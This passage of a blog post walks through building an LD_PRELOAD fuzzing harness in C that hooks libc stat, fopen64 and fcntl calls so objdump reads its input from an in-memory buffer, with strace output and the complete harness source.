    // Create a global stat struct for our file in case someone asks, this way
    // when someone calls stat() or fstat() on our target, we can just return the
    // slightly altered (new size) stat struct &skip the kernel, save syscalls
    int result = __xstat(0x1337, FUZZ_TARGET, &st);
    if (-1 == result) {
        printf("Error creating stat struct for '%s' during load\n", FUZZ_TARGET);
    }
}

All in all, our entire harness looks like this now:

/* 
Compiler flags: 
gcc -shared -Wall -Werror -fPIC blog_harness.c -o blog_harness.so -ldl
*/

#define _GNU_SOURCE     /* dlsym */
#include <stdio.h> /* printf */
#include <sys/stat.h> /* stat */
#include <stdlib.h> /* exit */
#include <unistd.h> /* __xstat, __fxstat */
#include <dlfcn.h> /* dlsym and friends */
#include <sys/mman.h> /* mmap */
#include <string.h> /* memset */
#include <fcntl.h> /* open */

// Filename of the input file we're trying to emulate
#define FUZZ_TARGET     "fuzzme"

// Definitions for our in-memory inputs 
#define INPUT_SZ_ADDR   0x1336000
#define INPUT_ADDR      0x1337000
#define MAX_INPUT_SZ    (1024 * 1024)

// For testing purposes, we read /bin/ed into our input buffer to simulate
// what the fuzzer would do
#define  TEST_FILE      "/bin/ed"

// Our "legit" global stat struct
struct stat st;

// Declare a prototype for the real stat as a function pointer
typedef int (*__xstat_t)(int __ver, const char *__filename, struct stat *__stat_buf);
__xstat_t real_xstat = NULL;

// Returns memory address of *next* location of symbol in library search order
static void *_resolve_symbol(const char *symbol) {
    // Clear previous errors
    dlerror();

    // Get symbol address
    void* addr = dlsym(RTLD_NEXT, symbol);

    // Check for error
    char* err = NULL;
    err = dlerror();
    if (err) {
        addr = NULL;
        printf("Err resolving '%s' addr: %s\n", symbol, err);
        exit(-1);
    }
    
    return addr;
}

// Hook for __xstat 
int __xstat(int __ver, const char* __filename, struct stat* __stat_buf) {
    // Resolve the real __xstat() on demand and maybe multiple times!
    if (!real_xstat) {
        real_xstat = _resolve_symbol("__xstat");
    }

    // Assume the worst, always
    int ret = -1;

    // Special __ver value check to see if we're calling from constructor
    if (0x1337 == __ver) {
        // Patch back up the version value before sending to real xstat
        __ver = 1;

        ret = real_xstat(__ver, __filename, __stat_buf);

        // Set the real_xstat back to NULL
        real_xstat = NULL;
        return ret;
    }

    // Determine if we're stat'ing our fuzzing target
    if (!strcmp(__filename, FUZZ_TARGET)) {
        // Update our global stat struct
        st.st_size = *(size_t *)INPUT_SZ_ADDR;

        // Send it back to the caller, skip syscall
        memcpy(__stat_buf, &st, sizeof(struct stat));
        ret = 0;
    }

    // Just a normal stat, send to real xstat
    else {
        ret = real_xstat(__ver, __filename, __stat_buf);
    }

    return ret;
}

// Map memory to hold our inputs in memory and information about their size
static void _create_mem_mappings(void) {
    void *result = NULL;

    // Map the page to hold the input size
    result = mmap(
        (void *)(INPUT_SZ_ADDR),
        sizeof(size_t),
        PROT_READ | PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
        0,
        0
    );
    if ((MAP_FAILED == result) || (result != (void *)INPUT_SZ_ADDR)) {
        printf("Err mapping INPUT_SZ_ADDR, mapped @ %p\n", result);
        exit(-1);
    }

    // Let's actually initialize the value at the input size location as well
    *(size_t *)INPUT_SZ_ADDR = 0;

    // Map the pages to hold the input contents
    result = mmap(
        (void *)(INPUT_ADDR),
        (size_t)(MAX_INPUT_SZ),
        PROT_READ | PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
        0,
        0
    );
    if ((MAP_FAILED == result) || (result != (void *)INPUT_ADDR)) {
        printf("Err mapping INPUT_ADDR, mapped @ %p\n", result);
        exit(-1);
    }

    // Init the value
    memset((void *)INPUT_ADDR, 0, (size_t)MAX_INPUT_SZ);
}

// Create a "legit" stat struct globally to pass to callers
static void _setup_stat_struct(void) {
    int result = __xstat(0x1337, FUZZ_TARGET, &st);
    if (-1 == result) {
        printf("Error creating stat struct for '%s' during load\n", FUZZ_TARGET);
    }
}

// Used for testing, load /bin/ed into the input buffer and update its size info
#ifdef TEST
static void _test_func(void) {    
    // Open TEST_FILE for reading
    int fd = open(TEST_FILE, O_RDONLY);
    if (-1 == fd) {
        printf("Failed to open '%s' during test\n", TEST_FILE);
        exit(-1);
    }

    // Attempt to read max input buf size
    ssize_t bytes = read(fd, (void*)INPUT_ADDR, (size_t)MAX_INPUT_SZ);
    close(fd);

    // Update the input size
    *(size_t *)INPUT_SZ_ADDR = (size_t)bytes;
}
#endif

// Routine to be called when our shared object is loaded
__attribute__((constructor)) static void _hook_load(void) {
    // Create memory mappings to hold our input and information about its size
    _create_mem_mappings();

    // Setup global "legit" stat struct
    _setup_stat_struct();

    // If we're testing, load /bin/ed up into our input buffer and update size
#ifdef TEST
    _test_func();
#endif
}

Now if we run this under strace, we notice that our two stat() calls are conspicuously missing.

close(3)                                = 0
openat(AT_FDCWD, "fuzzme", O_RDONLY)    = 3
fcntl(3, F_GETFD)                       = 0
fcntl(3, F_SETFD, FD_CLOEXEC)           = 0

We no longer see the stat() calls before the openat() and the program does not break in any significant way. So this hook seems to be working appropriately. We now need to handle the openat() and make sure we don’t actually interact with our input file, but instead trick objdump to interact with our input in memory.

Finding a Way to Hook openat()

My non-expert intuition tells me theres probably a few ways in which a libc function could end up calling openat() under the hood. Those ways might include the wrappers open() as well as fopen(). We also need to be mindful of their 64 variants as well (open64(), fopen64()). I decided to try the fopen() hooks first:

// Declare prototype for the real fopen and its friend fopen64 
typedef FILE* (*fopen_t)(const char* pathname, const char* mode);
fopen_t real_fopen = NULL;

typedef FILE* (*fopen64_t)(const char* pathname, const char* mode);
fopen64_t real_fopen64 = NULL;

...

// Exploratory hooks to see if we're using fopen() related functions to open
// our input file
FILE* fopen(const char* pathname, const char* mode) {
    printf("** fopen() called for '%s'\n", pathname);
    exit(0);
}

FILE* fopen64(const char* pathname, const char* mode) {
    printf("** fopen64() called for '%s'\n", pathname);
    exit(0);
}

If we compile and run our exploratory hooks, we get the following output:

h0mbre@ubuntu:~/blogpost$ LD_PRELOAD=/home/h0mbre/blogpost/blog_harness.so objdump -D fuzzme
** fopen64() called for 'fuzzme'

Bingo, dino DNA.

So now we can flesh that hooked function out a bit to behave how we want.

Refining an fopen64() Hook

The definition for fopen64() is: ` FILE *fopen(const char *restrict pathname, const char *restrict mode);. The returned FILE * poses a slight problem to us because this is an opaque data structure that is not meant to be understood by the caller. Which is to say, the caller is not meant to access any members of this data structure or worry about its layout in any way. You're just supposed to use the returned FILE * as an object to pass to other functions, such as fclose()`. The system deals with the data structure there in those types of related functions so that programmers don’t have to worry about a specific implementation.

We don’t actually know how the returned FILE * will be used, it may not be used at all, or it may be passed to a function such as fread() so we need a way to return a convincing FILE * data structure to the caller that is actually built from our input in memory and NOT from the input file. Luckily, there is a libc function called fmemopen() which behaves very similarly to fopen() and also returns a FILE *. So we can go ahead and create a FILE * to return to callers of fopen64() with fuzzme as the target input file. Shoutout to @domenuk for showing me fmemopen(), I had never come across it before.

There is one key difference though. fopen() will actually obtain file descriptor for the underlying file and fmemopen(), since it is not actually openining a file, will not. So somewhere in the FILE * data structure, there is a file descriptor for the underlying file if returned from fopen() and there isn’t one if returned from fmemopen(). This is very important as functions such as int fileno(FILE *stream) can parse a FILE * and return its underlying file descriptor to the caller. Objdump may want to do this for some reason and we need to be able to robustly handle it. So we need a way to know if someone is trying to use our faked FILE * underlying file descriptor.

My idea for this was to simply find the struct member containing the file descriptor in the FILE * returned from fmemopen() and change it to be something ridiculous like 1337 so that if objdump ever tried to use that file descriptor we would know the source of it and could try to hook any interactions with the file descriptor. So now our fopen64() hook should look as follows:

// Our fopen hook, return a FILE* to the caller, also, if we are opening our
// target make sure we're not able to write to the file
FILE* fopen64(const char* pathname, const char* mode) {
    // Resolve symbol on demand and only once
    if (NULL == real_fopen64) {
        real_fopen64 = _resolve_symbol("fopen64");
    }

    // Check to see what file we're opening
    FILE* ret = NULL;
    if (!strcmp(FUZZ_TARGET, pathname)) {
        // We're trying to open our file, make sure it's a read-only mode
        if (strcmp(mode, "r")) {
            printf("Attempt to open fuzz-target in illegal mode: '%s'\n", mode);
            exit(-1);
        }

        // Open shared memory FILE* and return to caller
        ret = fmemopen((void*)INPUT_ADDR, *(size_t*)INPUT_SZ_ADDR, mode);
        
        // Make sure we've never fopen()'d our fuzzing target before
        if (faked_fp) {
            printf("Attempting to fopen64() fuzzing target more than once\n");
            exit(-1);
        }

        // Update faked_fp
        faked_fp = ret;

        // Change the filedes to something we know
        ret->_fileno = 1337;
    }

    // We're not opening our file, send to regular fopen
    else {
        ret = real_fopen64(pathname, mode);
    }

    // Return FILE stream ptr to caller
    return ret;
}

You can see we:

  1. Resolve the symbol location if it hasn’t been yet
  2. Check to see if we’re being called on our fuzzing target input file
  3. Call fmemopen() and open the memory buffer where our current input is in memory along with the input’s size

You may also notice a few safety checks as well to make sure things don’t go unnoticed. We have a global variable that is FILE *faked_fp that we initialize to NULL which let’s us know if we’ve ever opened our input more than once (it wouldn’t be NULL anymore on subsequent attempts to open it).

We also do a check on the mode argument to make sure we’re getting a read-only FILE * back. We don’t want objdump to alter our input or write to it in any way and if it tries to, we need to know about it.

Running our shared object at this point nets us the following output:

h0mbre@ubuntu:~/blogpost$ LD_PRELOAD=/home/h0mbre/blogpost/blog_harness.so objdump -D fuzzme
objdump: fuzzme: Bad file descriptor

My spidey-sense is telling me something tried to interact with a file descriptor of 1337. Let’s run again under strace and see what happens.

h0mbre@ubuntu:~/blogpost$ strace -E LD_PRELOAD=/home/h0mbre/blogpost/blog_harness.so objdump -D fuzzme > /tmp/output.txt

In the output, we can see some syscalls to fcntl() and fstat() both being called with a file descriptor of 1337 which obviously doesn’t exist in our objdump process, so we’ve been able to find the problem.

fcntl(1337, F_GETFD)                    = -1 EBADF (Bad file descriptor)
prlimit64(0, RLIMIT_NOFILE, NULL, {rlim_cur=4*1024, rlim_max=4*1024}) = 0
fstat(1337, 0x7fff4bf54c90)             = -1 EBADF (Bad file descriptor)
fstat(1337, 0x7fff4bf54bf0)             = -1 EBADF (Bad file descriptor)

As we’ve already learned, there is no direct export in libc for fstat(), it’s one of those weird ones like stat() and we actually have to hook __fxstat(). So let’s try and hook that to see if it gets called for our 1337 file descriptor. The hook function will look like this to start:

// Declare prototype for the real __fxstat
typedef int (*__fxstat_t)(int __ver, int __filedesc, struct stat *__stat_buf);
__fxstat_t real_fxstat = NULL;

...

// Hook for __fxstat
int __fxstat (int __ver, int __filedesc, struct stat *__stat_buf) {
    printf("** __fxstat() called for __filedesc: %d\n", __filedesc);
    exit(0);
}

Now we also still have that fcntl() to deal with, luckily that hook is straightforward, if someone asks for the F_GETFD aka, the flags associated with that special 1337 file descriptor, we’ll simply return O_RDONLY as those were the flags it was “opened” with, and we’ll just panic for now if someone calls it for a different file descriptor. This hook looks like this:

// Declare prototype for the real __fcntl
typedef int (*fcntl_t)(int fildes, int cmd, ...);
fcntl_t real_fcntl = NULL;

...

// Hook for fcntl
int fcntl(int fildes, int cmd, ...) {
    // Resolve fcntl symbol if needed
    if (NULL == real_fcntl) {
        real_fcntl = _resolve_symbol("fcntl");
    }

    if (fildes == 1337) {
        return O_RDONLY;
    }

    else {
        printf("** fcntl() called for real file descriptor\n");
        exit(0);
    }
}

Running this under strace now, the fcntl() call is absent as we would expect:

openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=26376, ...}) = 0
mmap(NULL, 26376, PROT_READ, MAP_SHARED, 3, 0) = 0x7ff61d331000
close(3)                                = 0
prlimit64(0, RLIMIT_NOFILE, NULL, {rlim_cur=4*1024, rlim_max=4*1024}) = 0
fstat(1, {st_mode=S_IFREG|0664, st_size=0, ...}) = 0
write(1, "** __fxstat() called for __filed"..., 42) = 42
exit_group(0)                           = ?
+++ exited with 0 +++

Now we can flesh out our __fxstat() hook with some logic. The caller is hoping to retrieve a stat struct from the function for our fuzzing target fuzzme by passing the special file descriptor 1337. Luckily, we have our global stat struct that we can return after we update its size to match that of the current input in memory (as tracked by us and the fuzzer as the value at INPUT_SIZE_ADDR). So if called, we simply update our stat struct size, and memcpy our struct into their *__stat_buf. Our complete hook now looks like this:

// Hook for __fxstat
int __fxstat (int __ver, int __filedesc, struct stat *__stat_buf) {
    // Resolve the real fxstat
    if (NULL == real_fxstat) {
        real_fxstat = _resolve_symbol("__fxstat");
    }

    int ret = -1;

    // Check to see if we're stat'ing our fuzz target
    if (1337 == __filedesc) {
        // Patch the global struct with current input size
        st.st_size = *(size_t*)INPUT_SZ_ADDR;

        // Copy global stat struct back to caller
        memcpy(__stat_buf, &st, sizeof(struct stat));
        ret = 0;
    }

    // Normal stat, send to real fxstat
    else {
        ret = real_fxstat(__ver, __filedesc, __stat_buf);
    }

    return ret;
}

Now if we run this, we actually don’t break and objdump is able exit cleanly under strace.

Wrapping Up

To test whether or not we have done a fair job, we will go ahead and output objdump -D fuzzme to a file, and then we’ll go ahead and output the same command but with our harness shared object loaded. Lastly, we’ll run objdump -D /bin/ed and output to a file to see if our harness created the same output.

h0mbre@ubuntu:~/blogpost$ objdump -D fuzzme > /tmp/fuzzme_original.txt      
h0mbre@ubuntu:~/blogpost$ LD_PRELOAD=/home/h0mbre/blogpost/blog_harness.so objdump -D fuzzme > /tmp/harness.txt 
h0mbre@ubuntu:~/blogpost$ objdump -D /bin/ed > /tmp/ed.txt

Then we sha1sum the files:

h0mbre@ubuntu:~/blogpost$ sha1sum /tmp/fuzzme_original.txt /tmp/harness.txt /tmp/ed.txt 
938518c86301ab00ddf6a3ef528d7610fa3fd05a  /tmp/fuzzme_original.txt
add4e6c3c298733f48fbfe143caee79445c2f196  /tmp/harness.txt
10454308b672022b40f6ce5e32a6217612b462c8  /tmp/ed.txt

We actually get three different hashes, we wanted the harness and /bin/ed to output the same output since /bin/ed is the input we loaded into memory.

h0mbre@ubuntu:~/blogpost$ ls -laht /tmp
total 14M
drwxrwxrwt 28 root   root   128K Apr  3 08:44 .
-rw-rw-r--  1 h0mbre h0mbre 736K Apr  3 08:43 ed.txt
-rw-rw-r--  1 h0mbre h0mbre 736K Apr  3 08:43 harness.txt
-rw-rw-r--  1 h0mbre h0mbre 2.2M Apr  3 08:42 fuzzme_original.txt

Ah, they are the same length at least, that must mean there is a subtle difference and diff shows us why the hashes aren’t the same:

h0mbre@ubuntu:~/blogpost$ diff /tmp/ed.txt /tmp/harness.txt 
2c2
< /bin/ed:     file format elf64-x86-64
---
> fuzzme:     file format elf64-x86-64

The name of the file in the argv[] array is different, so that’s the only difference. In the end we were able to feed objdump an input file, but have it actually take input from an in-memory buffer in our harness.

One more thing, we actually forgot that objdump closes our file didn’t we! So I went ahead and added a quick fclose() hook. We wouldn’t have any problems if fclose() just wanted to free the heap memory associated with our fmemopen() returned FILE *; however, it would also probably try to call close() on that wonky file descriptor as well and we don’t want that. It might not even matter in the end, just want to be safe. Up to the reader to experiment and see what changes. The imaginary fuzzer should restore FILE * heap memory anyways during its snapshot restoration routine.

Conclusion

There are a million different ways to accomplish this goal, I just wanted to walk you through my thought process. There are actually a lot of cool things you can do with this harness, one thing I’ve done is actually hook malloc() to fail on large allocations so that I don’t waste fuzzing cycles on things that will eventually timeout. You can also create an at_exit() choke point so that no matter what, the program executes your at_exit() function every time it is exiting which can be useful for snapshot resets if the program can take multiple exit paths as you only have to cover the one exit point.

Hopefully this was useful to some! The complete code to the harness is below, happy fuzzing!

/* 
Compiler flags: 
gcc -shared -Wall -Werror -fPIC blog_harness.c -o blog_harness.so -ldl
*/

#define _GNU_SOURCE     /* dlsym */
#include <stdio.h> /* printf */
#include <sys/stat.h> /* stat */
#include <stdlib.h> /* exit */
#include <unistd.h> /* __xstat, __fxstat */
#include <dlfcn.h> /* dlsym and friends */
#include <sys/mman.h> /* mmap */
#include <string.h> /* memset */
#include <fcntl.h> /* open */

// Filename of the input file we're trying to emulate
#define FUZZ_TARGET     "fuzzme"

// Definitions for our in-memory inputs 
#define INPUT_SZ_ADDR   0x1336000
#define INPUT_ADDR      0x1337000
#define MAX_INPUT_SZ    (1024 * 1024)

// For testing purposes, we read /bin/ed into our input buffer to simulate
// what the fuzzer would do
#define  TEST_FILE      "/bin/ed"

// Our "legit" global stat struct
struct stat st;

// FILE * returned to callers of fopen64() 
FILE *faked_fp = NULL;

// Declare a prototype for the real stat as a function pointer
typedef int (*__xstat_t)(int __ver, const char *__filename, struct stat *__stat_buf);
__xstat_t real_xstat = NULL;

// Declare prototype for the real fopen and its friend fopen64 
typedef FILE* (*fopen_t)(const char* pathname, const char* mode);
fopen_t real_fopen = NULL;

typedef FILE* (*fopen64_t)(const char* pathname, const char* mode);
fopen64_t real_fopen64 = NULL;

// Declare prototype for the real __fxstat
typedef int (*__fxstat_t)(int __ver, int __filedesc, struct stat *__stat_buf);
__fxstat_t real_fxstat = NULL;

// Declare prototype for the real __fcntl
typedef int (*fcntl_t)(int fildes, int cmd, ...);
fcntl_t real_fcntl = NULL;

// Returns memory address of *next* location of symbol in library search order
static void *_resolve_symbol(const char *symbol) {
    // Clear previous errors
    dlerror();

    // Get symbol address
    void* addr = dlsym(RTLD_NEXT, symbol);

    // Check for error
    char* err = NULL;
    err = dlerror();
    if (err) {
        addr = NULL;
        printf("** Err resolving '%s' addr: %s\n", symbol, err);
        exit(-1);
    }
    
    return addr;
}

// Hook for __xstat 
int __xstat(int __ver, const char* __filename, struct stat* __stat_buf) {
    // Resolve the real __xstat() on demand and maybe multiple times!
    if (!real_xstat) {
        real_xstat = _resolve_symbol("__xstat");
    }

    // Assume the worst, always
    int ret = -1;

    // Special __ver value check to see if we're calling from constructor
    if (0x1337 == __ver) {
        // Patch back up the version value before sending to real xstat
        __ver = 1;

        ret = real_xstat(__ver, __filename, __stat_buf);

        // Set the real_xstat back to NULL
        real_xstat = NULL;
        return ret;
    }

    // Determine if we're stat'ing our fuzzing target
    if (!strcmp(__filename, FUZZ_TARGET)) {
        // Update our global stat struct
        st.st_size = *(size_t *)INPUT_SZ_ADDR;

        // Send it back to the caller, skip syscall
        memcpy(__stat_buf, &st, sizeof(struct stat));
        ret = 0;
    }

    // Just a normal stat, send to real xstat
    else {
        ret = real_xstat(__ver, __filename, __stat_buf);
    }

    return ret;
}

// Exploratory hooks to see if we're using fopen() related functions to open
// our input file
FILE* fopen(const char* pathname, const char* mode) {
    printf("** fopen() called for '%s'\n", pathname);
    exit(0);
}

// Our fopen hook, return a FILE* to the caller, also, if we are opening our
// target make sure we're not able to write to the file
FILE* fopen64(const char* pathname, const char* mode) {
    // Resolve symbol on demand and only once
    if (NULL == real_fopen64) {
        real_fopen64 = _resolve_symbol("fopen64");
    }

    // Check to see what file we're opening
    FILE* ret = NULL;
    if (!strcmp(FUZZ_TARGET, pathname)) {
        // We're trying to open our file, make sure it's a read-only mode
        if (strcmp(mode, "r")) {
            printf("** Attempt to open fuzz-target in illegal mode: '%s'\n", mode);
            exit(-1);
        }

        // Open shared memory FILE* and return to caller
        ret = fmemopen((void*)INPUT_ADDR, *(size_t*)INPUT_SZ_ADDR, mode);
        
        // Make sure we've never fopen()'d our fuzzing target before
        if (faked_fp) {
            printf("** Attempting to fopen64() fuzzing target more than once\n");
            exit(-1);
        }

        // Update faked_fp
        faked_fp = ret;

        // Change the filedes to something we know
        ret->_fileno = 1337;
    }

    // We're not opening our file, send to regular fopen
    else {
        ret = real_fopen64(pathname, mode);
    }

    // Return FILE stream ptr to caller
    return ret;
}

// Hook for __fxstat
int __fxstat (int __ver, int __filedesc, struct stat *__stat_buf) {
    // Resolve the real fxstat
    if (NULL == real_fxstat) {
        real_fxstat = _resolve_symbol("__fxstat");
    }

    int ret = -1;

    // Check to see if we're stat'ing our fuzz target
    if (1337 == __filedesc) {
        // Patch the global struct with current input size
        st.st_size = *(size_t*)INPUT_SZ_ADDR;

        // Copy global stat struct back to caller
        memcpy(__stat_buf, &st, sizeof(struct stat));
        ret = 0;
    }

    // Normal stat, send to real fxstat
    else {
        ret = real_fxstat(__ver, __filedesc, __stat_buf);
    }

    return ret;
}

// Hook for fcntl
int fcntl(int fildes, int cmd, ...) {
    // Resolve fcntl symbol if needed
    if (NULL == real_fcntl) {
        real_fcntl = _resolve_symbol("fcntl");
    }

    if (fildes == 1337) {
        return O_RDONLY;
    }

    else {
        printf("** fcntl() called for real file descriptor\n");
        exit(0);
    }
}

// Map memory to hold our inputs in memory and information about their size
static void _create_mem_mappings(void) {
    void *result = NULL;

    // Map the page to hold the input size
    result = mmap(
        (void *)(INPUT_SZ_ADDR),
        sizeof(size_t),
        PROT_READ | PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
        0,
        0
    );
    if ((MAP_FAILED == result) || (result != (void *)INPUT_SZ_ADDR)) {
        printf("** Err mapping INPUT_SZ_ADDR, mapped @ %p\n", result);
        exit(-1);
    }

    // Let's actually initialize the value at the input size location as well
    *(size_t *)INPUT_SZ_ADDR = 0;

    // Map the pages to hold the input contents
    result = mmap(
        (void *)(INPUT_ADDR),
        (size_t)(MAX_INPUT_SZ),
        PROT_READ | PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
        0,
        0
    );
    if ((MAP_FAILED == result) || (result != (void *)INPUT_ADDR)) {
        printf("** Err mapping INPUT_ADDR, mapped @ %p\n", result);
        exit(-1);
    }

    // Init the value
    memset((void *)INPUT_ADDR, 0, (size_t)MAX_INPUT_SZ);
}

// Create a "legit" stat struct globally to pass to callers
static void _setup_stat_struct(void) {
    int result = __xstat(0x1337, FUZZ_TARGET, &st);
    if (-1 == result) {
        printf("** Err creating stat struct for '%s' during load\n", FUZZ_TARGET);
    }
}

// Used for testing, load /bin/ed into the input buffer and update its size info
#ifdef TEST
static void _test_func(void) {    
    // Open TEST_FILE for reading
    int fd = open(TEST_FILE, O_RDONLY);
    if (-1 == fd) {
        printf("** Failed to open '%s' during test\n", TEST_FILE);
        exit(-1);
    }

    // Attempt to read max input buf size
    ssize_t bytes = read(fd, (void*)INPUT_ADDR, (size_t)MAX_INPUT_SZ);
    close(fd);

    // Update the input size
    *(size_t *)INPUT_SZ_ADDR = (size_t)bytes;
}
#endif

// Routine to be called when our shared object is loaded
__attribute__((constructor)) static void _hook_load(void) {
    // Create memory mappings to hold our input and information about its size
    _create_mem_mappings();

    // Setup global "legit" stat struct
    _setup_stat_struct();

    // If we're testing, load /bin/ed up into our input buffer and update size
#ifdef TEST
    _test_func();
#endif
}
❌
❌